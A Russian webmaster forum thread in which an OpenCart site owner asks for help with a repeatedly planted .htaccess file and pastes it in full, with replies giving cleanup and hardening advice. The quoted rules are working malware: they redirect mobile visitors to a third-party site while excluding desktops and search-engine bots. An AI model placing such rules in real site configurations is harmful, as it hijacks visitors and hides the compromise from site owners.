[Помогите] Появляется htaccess с вредоносным кодом

winner7 · 17 июн 2013

Мужики, выручайте!
Обнаруживаю на хостинге (hts.ru) в своих сайтах htaccess с редиректом на левый сайт. Обнаруживаю htaccess в корневой папке сайта, в папке admin и download.
Сайты на опенкарте.
Такое уже второй раз за неделю. Первый раз все почистил, запаролил доступ ко входу в админку с помощью htaccess, но вот опять такая пежня вылезла.
Не знаю на что думать, то ли вирус на хостинге, то ли шелл кто-то залил, то ли еще чего.
Хостинг бегом менять или файлы опена перелопачивать...
Если шелл, то как его найти, и в какую дыру его могли залить, может кто сталкивался с такой проблемой?
Вот что прописано в вреднонсном htaccess

Спойлер

RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]
RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} audi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} aste [NC,OR]
RewriteCond %{HTTP_USER_AGENT} avan [NC,OR]
RewriteCond %{HTTP_USER_AGENT} benq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} bird [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blac [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR]
RewriteCond %{HTTP_USER_AGENT} brew [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cell [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} dang [NC,OR]
RewriteCond %{HTTP_USER_AGENT} doco [NC,OR]
RewriteCond %{HTTP_USER_AGENT} eric [NC,OR]
RewriteCond %{HTTP_USER_AGENT} hipt [NC,OR]
RewriteCond %{HTTP_USER_AGENT} inno [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ipaq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} java [NC,OR]
RewriteCond %{HTTP_USER_AGENT} jigs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} kddi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} keji [NC,OR]
RewriteCond %{HTTP_USER_AGENT} leno [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-c [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-d [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-g [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lge- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} maui [NC,OR]
RewriteCond %{HTTP_USER_AGENT} maxo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mits [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mmef [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mobi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mot- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} moto [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mwbp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} nec- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} newt [NC,OR]
RewriteCond %{HTTP_USER_AGENT} noki [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opwv [NC,OR]
RewriteCond %{HTTP_USER_AGENT} palm [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pana [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pant [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pdxg [NC,OR]
RewriteCond %{HTTP_USER_AGENT} phil [NC,OR]
RewriteCond %{HTTP_USER_AGENT} play [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pluc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} port [NC,OR]
RewriteCond %{HTTP_USER_AGENT} prox [NC,OR]
RewriteCond %{HTTP_USER_AGENT} qtek [NC,OR]
RewriteCond %{HTTP_USER_AGENT} qwap [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sage [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sams [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sany [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sch- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sec- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} send [NC,OR]
RewriteCond %{HTTP_USER_AGENT} seri [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sgh- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} shar [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sie- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} siem [NC,OR]
RewriteCond %{HTTP_USER_AGENT} smal [NC,OR]
RewriteCond %{HTTP_USER_AGENT} smar [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sony [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sph- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} symb [NC,OR]
RewriteCond %{HTTP_USER_AGENT} t-mo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} teli [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tim- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tosh [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tsm- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} upg1 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} upsi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} vk-v [NC,OR]
RewriteCond %{HTTP_USER_AGENT} voda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} w3cs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wap- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapa [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapr [NC,OR]
RewriteCond %{HTTP_USER_AGENT} webc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} xda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} xda- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} up.browser [NC,OR]
RewriteCond %{HTTP_USER_AGENT} up.link [NC,OR]
RewriteCond %{HTTP_USER_AGENT} windows.ce [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iemobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mmp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} symbian [NC,OR]
RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wap [NC,OR]
RewriteCond %{HTTP_USER_AGENT} phone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pocket [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ipad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iPad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iPhone [NC,OR]
RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC]
RewriteCond %{HTTP_USER_AGENT} !bsd [NC]
RewriteCond %{HTTP_USER_AGENT} !x11 [NC]
RewriteCond %{HTTP_USER_AGENT} !unix [NC]
RewriteCond %{HTTP_USER_AGENT} !macos [NC]
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
RewriteCond %{HTTP_USER_AGENT} !playstation [NC]
RewriteCond %{HTTP_USER_AGENT} !google [NC]
RewriteCond %{HTTP_USER_AGENT} !yandex [NC]
RewriteCond %{HTTP_USER_AGENT} !bot [NC]
RewriteCond %{HTTP_USER_AGENT} !libwww [NC]
RewriteCond %{HTTP_USER_AGENT} !msn [NC]
RewriteCond %{HTTP_USER_AGENT} !america [NC]
RewriteCond %{HTTP_USER_AGENT} !avant [NC]
RewriteCond %{HTTP_USER_AGENT} !download [NC]
RewriteCond %{HTTP_USER_AGENT} !fdm [NC]
RewriteCond %{HTTP_USER_AGENT} !maui [NC]
RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]
RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]

RewriteRule ^(.*)$ http://absex.ru/l.php?l=o2&r=12020&a=33 [L,R=302]

Serkist · 17 июн 2013

я тоже сайт держу на hts, но такого, слава богу, не видел.
попробуй посмотреть логи доступа к сайту.
доступа к htaccess там не будет наверное, но может что-то увидишь подозрительное.
по времени фильтруй - смотри час до/после заливки модифицированного htaccess.

dbunt1tled · 17 июн 2013

ну начни с выставлением прав на файлы меня тоже пару раз ломали
права 755 на папки
644 на файлы
604 .htaccess
600 config.php
точно не помню надо проверить тк когда сильно права обрезаешь там можно вообще ограничить доступ к выводу в браузере
и я бы такой что чтоб вообще закрыть доступ к папке download

Alexxcha · 17 июн 2013

Смотрите логи доступа по ftp, а так же смотрите в параметрах панели управления хостингом автовыполняемые скрипты.

winner7 · 18 июн 2013

Alexxcha сказал(а): ↑

Смотрите логи доступа по ftp, а так же смотрите в параметрах панели управления хостингом автовыполняемые скрипты.
Нажмите, чтобы раскрыть...

в параметрах панели управления хостингом автовыполняемые скрипты - это как?

Alexxcha · 18 июн 2013

winner7 сказал(а): ↑

автовыполняемые скрипты
Нажмите, чтобы раскрыть...

В панели управления хостингом как правило есть возможность прописать скрипт который будет автоматически запускаться в определенное время - например таким образом работает кеширование баз для IncreasePageSpeed.
Следовательно разбираетесь кто к вам мог проламываться по ftp, и кто мог получить доступ к панели управления хостингом и задать такой скрипт - в котором скорее всего просто прописаны те изменения которые вносятся в htaccess - хотя подозреваю что изменения может и не вносятся - просто файл htaccess в определенное время заменяется своей ипсравленной копией - т.е. происходит перезапись...
Как уже было сказано выше попробуйте внести изменения в файл, а потом задайте ему - для начала 0644 - если после изменения прав доступа редирект снова появится - значт уже более менее понятно в какую сторону копать... Ибо - 644 - это открытое чтение для всех - но запись только для создателя....

blackfm · 18 июн 2013

еще на всякий пожарный поменяйте пароли к фтп

ulikiev · 18 июн 2013

и хостинг на всякий случай поменяйте, могут сам хостинг ломать

Serkist · 18 июн 2013

ulikiev сказал(а): ↑

и хостинг на всякий случай поменяйте, могут сам хостинг ломать
Нажмите, чтобы раскрыть...

ну вы сейчас насоветуете, и хостинг поменять, и перейти на самописный движок или вообще не создавать сайты.

Автору - поменяйте пароли на всякий случай и анализируйте логи доступа.

ulikiev · 18 июн 2013

Serkist сказал(а): ↑

ну вы сейчас насоветуете
Нажмите, чтобы раскрыть...

ну еще скажите что такого не может быть. была похожая ситуация и пароли менял и то и сё все равно файлы изменяли

Слышал были проблемы у FileZilla с безопасностью паролей

winner7 · 18 июн 2013

ulikiev сказал(а): ↑

ну еще скажите что такого не может быть. была похожая ситуация и пароли менял и то и сё все равно файлы изменяли

Слышал были проблемы у FileZilla с безопасностью паролей
Нажмите, чтобы раскрыть...

А что за проблемы с файлзиллой? Я как раз ею пользуюсь

Bnopen · 18 июн 2013

winner7, если есть шел или дырки в скриптах так и останутся, то код будет появляться снова и снова. Какая панель управления на хостинге? В ispmanager есть возможность проверить аккаунт антивирусом самому. Если нет, то напишите в поддержку хостинг и запросить просканить ваш акакунт clamav и предоставить отчет.
На сам файл htaccess можете поставить права 444.
Проблема есть в каждом фтп-клиенте - нельзя хранить пароли на фтп в клиенте, т.к. вирусами эти пароли и уводятся.
Ну и напоследок, может это поможет найти шелл или гадость какую-то

Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником.
Нажмите, чтобы раскрыть...

blackfm · 19 июн 2013

Ну и напоследок, может это поможет найти шелл или гадость какую-то
Нажмите, чтобы раскрыть...

отличный скрипт, уже пару раз спасал от шелов и другой гадости. Кстати там еще и есть полная проверка (я сам не зразу дочитался ) )

Войти или зарегистрироваться

[Помогите] Появляется htaccess с вредоносным кодом

winner7

Serkist

dbunt1tled

Alexxcha

winner7

Alexxcha

blackfm

ulikiev

Serkist

ulikiev

winner7

Bnopen Команда форума

blackfm